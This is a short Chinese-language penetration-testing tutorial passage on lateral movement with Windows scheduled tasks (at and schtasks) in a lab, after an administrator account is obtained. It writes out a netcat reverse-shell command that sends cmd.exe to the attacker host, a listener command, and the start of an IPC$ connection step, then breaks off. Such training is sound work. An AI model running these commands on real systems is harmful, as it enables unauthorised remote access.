横向远程命令执行——Windows计划任务
Windows任务计划程序可以让计算机按照我们的要求在指定时间执行指定的程序,并且可以设置时间间隔重复执行。利用“任务计划”,可以将任何脚本、程序或文档安排在某个最方便的时间运行。
1、 测试环境
Win7:192.168.11.137
Server2008:192.168.11.200
在通过nmap扫描发现内网中存在开放139,445端口存活主机,当我们拿到一个管理员账户时,可通过 at
或schtasks
进行创建任务计划程序进行横向渗透。
在演示环境中,为了方便演示,在服务器配置了nc,并在C盘创建了c.bat
写入命令 nc 192.168.11.137 4444 -e cmd.exe ,通过nc反弹给攻击机一个交互式的shell。使用 nc -lvp [port] 在攻击机监听4444端口:
2、 计划任务利用
2.1 at命令
at命令远程创建计划任务需先建立IPC$连接,否则在执行时会返回拒绝访问。Win8以后已不再支持at命令,使用schtasks替代。
net use \